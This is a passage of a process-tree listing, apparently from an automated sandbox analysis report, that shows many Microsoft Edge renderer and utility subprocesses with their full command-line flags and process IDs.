- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=5184,i,10265380917856656050,14980831525838772934,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=5204 /prefetch:1
    3⤵
    PID:5472
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5072,i,15308899451204658899,15625409504809067260,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:1
    3⤵
    PID:4104
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --always-read-main-dll --metrics-shmem-handle=5524,i,7707372739594270730,9810339434801729037,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=5548 /prefetch:1
    3⤵
    PID:4376
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=3396,i,3090367588464997348,3416932245133140959,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=3392 /prefetch:1
    3⤵
    PID:764
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=3576,i,18021409640978869965,11308885230312436832,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:1
    3⤵
    PID:2516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5932,i,17399714655203874678,1221177404960832419,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:1
    3⤵
    PID:2744
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5920,i,10800658181707179070,12177924167749618042,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=4776 /prefetch:1
    3⤵
    PID:5508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=5332,i,9946961362895190613,6440056953339519283,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=5364 /prefetch:1
    3⤵
    PID:5612
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=3588,i,10442503615409158636,3202358417047337954,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=6164 /prefetch:1
    3⤵
    PID:5420
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --always-read-main-dll --metrics-shmem-handle=6348,i,15060668252261019555,8060667684890984349,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=3424 /prefetch:1
    3⤵
    PID:3896
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --always-read-main-dll --metrics-shmem-handle=6496,i,9148972999875263129,4500910769648850915,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=6464 /prefetch:1
    3⤵
    PID:5636
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=3576,i,4280596111314737246,15592738338139869206,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=5828 /prefetch:1
    3⤵
    PID:4484
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=6976,i,8541675126429942272,3458900424270497650,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
    3⤵
    PID:1812
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --always-read-main-dll --metrics-shmem-handle=3540,i,17260626486111000589,4748208262786223834,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7012 /prefetch:1
    3⤵
    PID:2984
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --always-read-main-dll --metrics-shmem-handle=7172,i,16155385753870736929,9440574659616612485,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7188 /prefetch:1
    3⤵
    PID:6012
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=7308,i,2558785610848898582,11965740970528467575,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7340 /prefetch:1
    3⤵
    PID:5524
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --always-read-main-dll --metrics-shmem-handle=7516,i,8321307004313102731,3024559473959130498,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7384 /prefetch:1
    3⤵
    PID:1124
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --always-read-main-dll --metrics-shmem-handle=5080,i,8191975292221280096,11892717907433637657,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=5084 /prefetch:1
    3⤵
    PID:4568
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --always-read-main-dll --metrics-shmem-handle=4320,i,82254656102227636,17320013348949718672,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=4292 /prefetch:1
    3⤵
    PID:2968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --always-read-main-dll --metrics-shmem-handle=4364,i,8987661786745534588,12189680001298603162,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:1
    3⤵
    PID:740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --always-read-main-dll --metrics-shmem-handle=7732,i,10053923124526484610,11415172740347873844,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7156 /prefetch:1
    3⤵
    PID:3752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=7996,i,17265958174790115116,8643127776387710755,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7948 /prefetch:1
    3⤵
    PID:4988
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --always-read-main-dll --metrics-shmem-handle=8340,i,12336789988796847482,13363968222114903781,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=4228 /prefetch:1
    3⤵
    PID:1796
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=8492,i,10160373620283821650,12774416275204836024,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=8476 /prefetch:1
    3⤵
    PID:3804
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --always-read-main-dll --metrics-shmem-handle=8616,i,481278652250926241,10339261960867302350,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=8644 /prefetch:1
    3⤵
    PID:1436
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --always-read-main-dll --metrics-shmem-handle=7104,i,165698344218359715,7488877765064778876,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7008 /prefetch:1
    3⤵
    PID:892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6440,i,3724922315195912442,11996897480817505305,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:8
    3⤵
    PID:3936
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6428,i,12952865886027868247,15052750376546540132,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7564 /prefetch:8
    3⤵
    PID:1508
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --always-read-main-dll --metrics-shmem-handle=4284,i,6462273512818854466,4052015985643424856,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=9104 /prefetch:1
    3⤵
    PID:3788
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --always-read-main-dll --metrics-shmem-handle=9576,i,3929837130327256999,17721317287083178102,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=8004 /prefetch:1
    3⤵
    PID:6204
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --always-read-main-dll --metrics-shmem-handle=9612,i,15346927333993861419,3035459567979564651,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=8060 /prefetch:1
    3⤵
    PID:6256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --always-read-main-dll --metrics-shmem-handle=9660,i,5860378060736135280,14521788509339737703,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=9712 /prefetch:1
    3⤵
    PID:6272
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --always-read-main-dll --metrics-shmem-handle=9676,i,11288927817345500567,4314520624772698712,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=9728 /prefetch:1
    3⤵
    PID:6280
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --always-read-main-dll --metrics-shmem-handle=9716,i,9315184578532043164,10769989979897759238,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10044 /prefetch:1
    3⤵
    PID:6288
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --always-read-main-dll --metrics-shmem-handle=10172,i,7408530835476567986,2430828000296556186,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10188 /prefetch:1
    3⤵
    PID:6300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --always-read-main-dll --metrics-shmem-handle=10212,i,18064934874129262601,11245779951250306978,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10184 /prefetch:1
    3⤵
    PID:6308
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --always-read-main-dll --metrics-shmem-handle=10560,i,1130803421435185385,11601953357819628444,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10572 /prefetch:1
    3⤵
    PID:6552
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --always-read-main-dll --metrics-shmem-handle=10592,i,1006363792384331830,8499263914404613917,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10772 /prefetch:1
    3⤵
    PID:6688
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --always-read-main-dll --metrics-shmem-handle=10916,i,17584261016672038068,17609772417451298461,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=10932 /prefetch:1
    3⤵
    PID:6740
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --always-read-main-dll --metrics-shmem-handle=11072,i,15270655497689474829,12445537928541358204,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=700 /prefetch:1
    3⤵
    PID:6792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=11208,i,3799406638948151640,2060801971708136991,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=11228 /prefetch:8
    3⤵
    PID:6824
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=11220,i,3730143724014207867,5862123069199009446,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=11272 /prefetch:8
    3⤵
    PID:6832
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=11224,i,10947047791278065457,1734499806447209856,524288 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=11304 /prefetch:8
    3⤵
    PID:6840
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --always-read-main-dll --metrics-shmem-handle=11440,i,8483004479778373963,4922379376878954903,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=11456 /prefetch:1
    3⤵
    PID:6228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --always-read-main-dll --metrics-shmem-handle=6496,i,8174460361257999824,6428298918636657799,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=9228 /prefetch:1
    3⤵
    PID:6608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=54 --always-read-main-dll --metrics-shmem-handle=10308,i,6923789194832370266,13481947620307297680,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=8440 /prefetch:1
    3⤵
    PID:6848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=55 --always-read-main-dll --metrics-shmem-handle=7992,i,14822098573573840207,16154924087146801473,2097152 --field-trial-handle=2148,i,2136316741522567358,9231420270021672289,262144 --variations-seed-version --mojo-platform-channel-handle=7988 /prefetch:1
    3⤵
    PID:6872
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
